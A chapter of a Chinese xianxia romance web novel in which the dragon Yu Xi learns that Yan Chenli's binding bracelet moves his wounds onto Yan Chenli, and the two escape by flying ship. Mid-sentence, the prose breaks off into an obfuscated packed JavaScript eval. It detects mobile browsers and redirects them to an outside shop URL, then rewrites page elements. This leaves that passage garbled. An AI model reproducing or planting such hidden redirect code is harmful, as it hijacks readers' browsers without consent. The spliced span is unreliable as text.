腹部鳞甲与剑尖相触的一瞬间就裂开一条缝,剧痛让白龙仰天长啸,未曾注意到,他爪子上那个牢牢将他套住的黑色手镯正在疯狂转动。 那一刻,羽熹神魂都失了色,心中唯有一个念头。 我未出世的孩子,对不起,是爹爹没有保护好你。 “住手!” 忽然,一道熟悉的声音从后方传来,如一道惊雷,刺破黑暗,震耳欲聋,令羽熹陡然睁开眼,眼波一颤。 这是……鄢尘离的声音。 他终于来了。 眼眶那滴泪终于不再颤动,压过下睫,整颗滚落。 可是,来不及了。 鄢尘离,你怎么不早点来。 羽熹想扭头看一看那个人,却做不到,只能低下头,眼睁睁看着那柄长剑没入腹中。 “聿明啊聿明,你这个人好古板,每次打架都要写个战书。” 亘古久远的声音在脑海中浮现,他听见那个男人笑着说:“那你怎么每次都不看。” 想到这里,羽熹有一点点小遗憾。 他好像的确从没有看过聿明的战书里,到底写了什么。 他总想着,战书就是战书,有什么好看的,收到便应战,直接打不就行了,难不成还要他回一封信,说自己愿意一战,等双方都确认了再打? 那太也太磨叽了吧。 小龙发出一声轻喟,似是笑了笑。 鄢尘离终究是来晚了一步,羽熹闭上眼。 “唔……” 羽熹意识尚未消散,听见身后似乎传来一声闷响,利器刺破血肉的声音清晰可闻,接着便是膝盖重重磕在地上的声音。 不对。 羽熹陡然睁开眼。 发生了什么? 长剑明明穿过了他的腹部,却没有痛感传来,就连腹部那一小片鳞甲裂开的痛也只是一瞬间,下一秒就只剩罡风擦过鳞片的痒痒感。 他猛地扭头,却发现那本该贯穿自己的长剑,直直刺入了鄢尘离身体。 男人闷哼一声跪在地上,一只手拿着曈曚剑撑着身体,另一只手捂着黑气滚滚的伤口,鲜血从指缝中流落到地上汇聚成湖。 “鄢尘离……”羽熹讷讷地喊了一声,全然无法理解眼前的状况。 那柄黑剑的伤,怎么落到了鄢尘离身上? 在他愣然出神的时间,鄢尘离已经支撑着身体站了起来,缓缓拔出曈曚剑,鬼魅一般,以肉眼难以看见的速度冲破囚台。 一震疾风隆隆而过,锁链哗啦啦断裂开来,那人却没有停住,一跃而起举着剑凌空一斩。 瞬间,浮屠塔法脉中心,惊起比九十九层还要汹涌激烈的裂响,整个地面和墙壁被生生切开,九十八层的镜面碎裂,映出塔外漆黑的夜色。 一只冰霜巨鸟煽动着羽翅,几乎遮蔽了半个浮屠塔尖,和一群修士凌空对峙着,无人顾及缝隙后头这一方密室又发生何等轰轰烈烈的异变。 曈曚剑至刚至纯的金乌之力在密室轰然扩散,贴在墙上的青栩在眨眼间化成了灰烬。 羽熹却没感觉到灼烧感,反而被一道温暖的风包裹住,连手脚被锁链勒出来的伤都不再作痛。 黑袍男人硬生生接下了曈曚一剑,血腥气在周围炸开,他奋力格开剑一个旋身,眨眼间便隐入裂缝,不知去向。 曈曚剑“锵”的一声磕在地上,大地一颤。 鄢尘离吐出一口血,艰难地抬眼看了看囚台上安然无恙的少年,重重倒在地上。 羽熹瞳孔一缩,大步流星跑过去朝他伸出双手,从背后将他接住。 “鄢尘离,你怎么了?你为什么会受伤?”他捧着男人伤口处,沾了一手的血,惶然错愕,“怎么会这样,那把剑明明是冲着我来的,你怎么会……你怎么……” 他握着男人的手,本想将他拉起来让他靠在自己身上,却注意到男人手心也有一道已经愈合的伤痕。 像是明白了什么,羽熹双眸狠狠一颤。 “这是……这是洛羽的骨刀划出来的伤口。” 骨刀的刃和剑不同,划出的伤口很钝,疤痕也难看,他一眼就认了出来。 骨刀附着妖力,若是落在寻常人身上,疤痕很难消除,且骨刀比剑钝,伤口也会十分狰狞。 羽熹皱眉,“洛羽不可能近得了你的身,你这伤怎么来的?” 他摸了摸凹凸不平的增生,忽然想起在黄泉驿站的房间时,洛羽把他当成谢乔,二话不说提刀就砍。 他当时用手接了一刀,事后手上却没有伤口。 羽熹瞬间一切都明了了。 “我的伤口都会转移到你身上,鄢尘离,你到底做了什么?”他说这话时喉咙都在颤抖,举起手腕上隐隐透出红色光芒的法镯,说出自己的猜测,“是因为这个?” 两人结契时交换的信物,鄢尘离一定要他戴上,他当时使性子不肯戴,鄢尘离还跟他生了好大的气。 原来是这样…… 羽熹鼻腔泛起难以压制的酸意。 鄢尘离抽出手,轻轻在少年脸颊抹了抹,眼底深深的,像一片海,回荡着劫后余生的庆幸,“我来了,别怕。” 男人的手常年练剑,手掌宽厚粗糙,指腹有一层茧,划过少年嫩薄的皮肤,擦出一抹微红。 他声音很轻,落在羽熹心里却有千钧,翻涌炸起波澜。 魔神聿明高高在上,眼里从来都是倨傲不羁,跟他斗了几千年,羽熹从未见他有过这样的一面。 轰隆—— 外面争斗不休,浮屠塔摇摇欲坠,穹顶的灰落下,蒙在囚台和地面。 “你忍住,我带你先离开这里。” 羽熹背过身,吃力地将男人拉到自己背上,不知扭到了哪里,腹部传来异样。 他咬了咬牙,腾出一只手安抚一番腹中龙蛋,将鄢尘离半背着,两步走出去,额上一对龙角渐渐变大。 少年再次化龙腾起,背着重伤的男人,从那道曈曚剑劈出来还隐隐冒着火星子的裂缝里飞了出去。 洛羽不知有意还是无意,连浮屠塔上空外层的结界也打开了。 冰霜鸟还在和众修士缠斗,浮屠塔尖成了风暴中心,罗刹海市看热闹的也加入其中,试图浑水摸鱼。 一片混乱。 羽熹连看都没看一眼,径直从打得火热的战场飞过,直奔渡口。 罗刹海市渡口也是一片混乱,有人趁火打劫,结队爬上了别人的飞艎,偷盗财宝,甚至有人直接把飞艎开走了,飞到海面跟人打起来,轰隆隆的随着整艘船落入海中,掀起一片巨浪。 羽熹敛了真身,将鄢尘离手臂搭在自己肩膀上,半扶半扛地往无人处走。 他现在的体力,不足以支撑他以原形横跨罗刹海,必须要有船。 “风羲和说过,他给我留了一艘船,你在这里等我,我去找船。” 他找到一处礁石鄢尘离放下,起身时手却被扣住。 “此处混乱,你不要一个人乱跑。” 鄢尘离虚弱地拉着少年。 换往常,羽熹并不会在意情势如何,他向来去留随心,不管不顾,更是爱跟鄢尘离反着来,鄢尘离不让他干什么,他就非要干什么。 但此刻,他没再一意孤行,弯下腰,再次把人扛起来,“好,我带你一起去找。” 动作间,鄢尘离忽然捂着伤口闷哼一声,喷出一口鲜血,跪倒在地,已经是难以支撑。 羽熹被吓了一跳,忙蹲下去看他伤势,“你怎么样了?刚才还好好的,怎么突然伤势加重了?” 鄢尘离半跪着,撑在地上的手青筋暴起,仿佛下一秒血管就要爆裂开来,浑身发出细细的颤抖,好像在极力压制着什么。 羽熹这才想起,鄢尘离一直都有未愈的旧伤。不仅仅是在藏书阁替他受的那一下,在那之前就压制不住本命剑,被反噬到快走火入魔。 “你身上到底有多少伤……” 他喃喃两句,有些投鼠忌器地碰了碰他腹部黑气汹汹的伤口。 多重伤势在身,此时正是元神虚弱,他的本命剑曈曚本就有失控之势,这次又没有找到镇剑之物,若是放着不管,必会趁虚而入,侵蚀主人神魂,雪上加霜。 “你再坚持一下,我一定会想到办法救你的。” 当务之急,是要先找到镇剑之物。 只有他不再被本命剑反噬,其他的伤才能慢慢修养恢复。 “谁!”鄢尘离目光凛冽,陡然刺向礁石后。 “有人?”羽熹也反应过来,呵斥一声,“谁在哪里!出来!” 此处黑魆魆的,海市的鬼火照不透,一片阴影中,有团影子动了动,随即从礁石后面,探出一个人影。 一个披着白色披风的少女犹豫地走出来两步,声音稚嫩,“我是……白鸦。” “浮屠塔的人。” 羽熹立马召出不可不眠剑意,横刀指向少女。 少女退后几步,慌忙辩解,“我不是,我只是个妖仆。是风大人叫我在此等候。” “风大人,风羲和?” 少女点头,“我叫七狸,风大人说可以救我们出去,但是要我们守在渡口,等一个戴着黑色手镯的漂亮哥哥。” 许是见两人并无杀意,七狸从阴影中走出来,脱下兜帽,头上耷拉着两只毛茸茸的狐耳,是只小狐妖。 小狐妖指了指脚上拖着的镣铐,“风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016002|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人说,美人哥哥会帮我解开禁制,我只要将两位带上飞艎离开这里,从此后我便自由了。” 羽熹看了看四周,罗刹海市不断有人冲出来,或是逃亡,或是打劫,远处高耸的浮屠塔熄灭了昼夜不歇的灯火,变成一尊黑暗中的鬼影,藏着随时可能爆发的危险。 “先带我们上船,上船后我自会帮你斩断锁链。” 七狸揪着手指,同他一样,不敢轻信任何人。 羽熹头疼,在鄢尘离身上摸了摸,摸出半块鱼形玉佩,二话不说仍给七狸, “这个抵给你,这是他贴身之物,必然重要,如此便知我不会骗你。” 鄢尘离:“……” 少年动作太快,他伸了伸手想阻止,都没能来得及,只得默默收回手。 七狸收好玉佩,转身钻进礁石洞中。 羽熹扶着男人跟上,似乎是在解释,“我身上什么都没有了,法镯又取不下来,委屈你一下,一会儿肯定帮你拿回来。” 他装作不知那是何物,没有诚意地安抚两句。 七狸带着他们进了洞窟,底下四通八达,生人一旦闯进来,恐怕很难转出去。 “还有多久?”鄢尘离脚步越发沉重,羽熹明显感觉到吃力,越发着急起来。 “快了快了,你们跟上我。”七狸道:“风大人说过,一会儿罗刹海市可能会乱,飞艎无人看管一定会被人抢夺,所以停放在一个很隐蔽的地方,就算是飞到空中俯瞰整个岛,也看不见。” 几人又是起起伏伏绕了许久,终于豁然见到一丝光亮,是海面反射出来的朦胧月光。 羽熹一看,他们三人到了海岛侵蚀崖的崖壁外,前方无路,漆黑的海面翻起波涛,一阵阵拍在崖岸。 一艘中型飞艎悬停在崖壁下方,底座刚好被浪花顶着。 七狸径直跳了下去,她身姿轻盈,唯有脚上的锁链落在船板发出撞击声,在空旷的海湾显得十分突兀。 很快,七狸操控着飞艎靠上来,羽熹扶着鄢尘离上了船。 “走吧。” “嗯。”七狸把船开了出去。 “七狸,定好方向后你去检查一下船上有没有藏着其他人,我先带他进去疗伤。” 七狸眼神有些闪躲,忙不迭点头,连对方还没实现承诺帮她解除禁制的事都忘了。 “我会在这里守着的。” 见少年把人带进了船舱后,七狸松了口气,定好方向便转身,往船后方悄声踱了过去。 “伤口的剑意残留需要清理,你把我放下来,我自己处理。” 羽熹把他扶到榻上,有点不放心,“你一个人可以吗,需不需要我为你护法?” 鄢尘离摇头,“没事,我能处理。” 说着,他便盘腿坐下,开始运行真气。 羽熹干看了一会儿,确定确实不需要他帮忙,才放下心。 这道剑伤对鄢尘离来说不足以致命,要命的是在重伤情况下,还在遭受曈曚剑反噬。 他便走到一旁,把曈曚剑拿起来,有些懊恼,“现在没了雪魄石,还有什么能替代它做镇剑呢?” 想起被他翻过的《博物志》,上面或许有记载,便静下心闭上眼睛,仔细回忆里面的内容。 现在就算不是为了云方仪,他也得找到镇剑之物。 他丝毫没有想到,鄢尘离给他的镯子竟然是这样的用处——他所受到的所有伤害,都会直接转移到鄢尘离身上。 难怪,难怪洛羽的骨刀砍在手心却没有伤口…… 难怪鄢尘离在他差点死在藏书馆时动那么大怒,强迫也一定要让他戴上这个手镯。 他何至于做到这一步。 是为了谢乔吗? 这样的念头一闪而过,他飞快清空杂念,在脑海中复原书籍内容。 被锁了好半天的识海渐渐恢复,龙魂忽然躁动起来。 “你没事吧羽熹?龙族后嗣还好吗?” “方才万龙冢被封闭了,这很不对劲,袭击你的人究竟是谁?竟然能影响万龙冢。” “我们能很明显感觉到,这个人并不简单,羽熹,你要理解我说的不简单是什么意思,这个人他——” 羽熹皱眉,破天荒打断了龙魂的话,“前辈们,我现在很着急,必须要找到替代雪魄石的东西,浮屠塔的事之后再说好吗?” 羽熹看着娇纵,其实对万龙冢的前辈们一向尊敬有礼,从不打断他们的话。 龙魂们也看出他此时有多紧张,便说:“凡修界上哪儿找那么多能给曈曚剑做镇剑的宝贝,不过聿明有句话倒是没说错,龙身上都是极其珍稀的灵宝,什么千不千年雪魄石的,都不如你一片龙鳞有用。” 话音落地,识海静谧一瞬,羽熹陡然睁眼。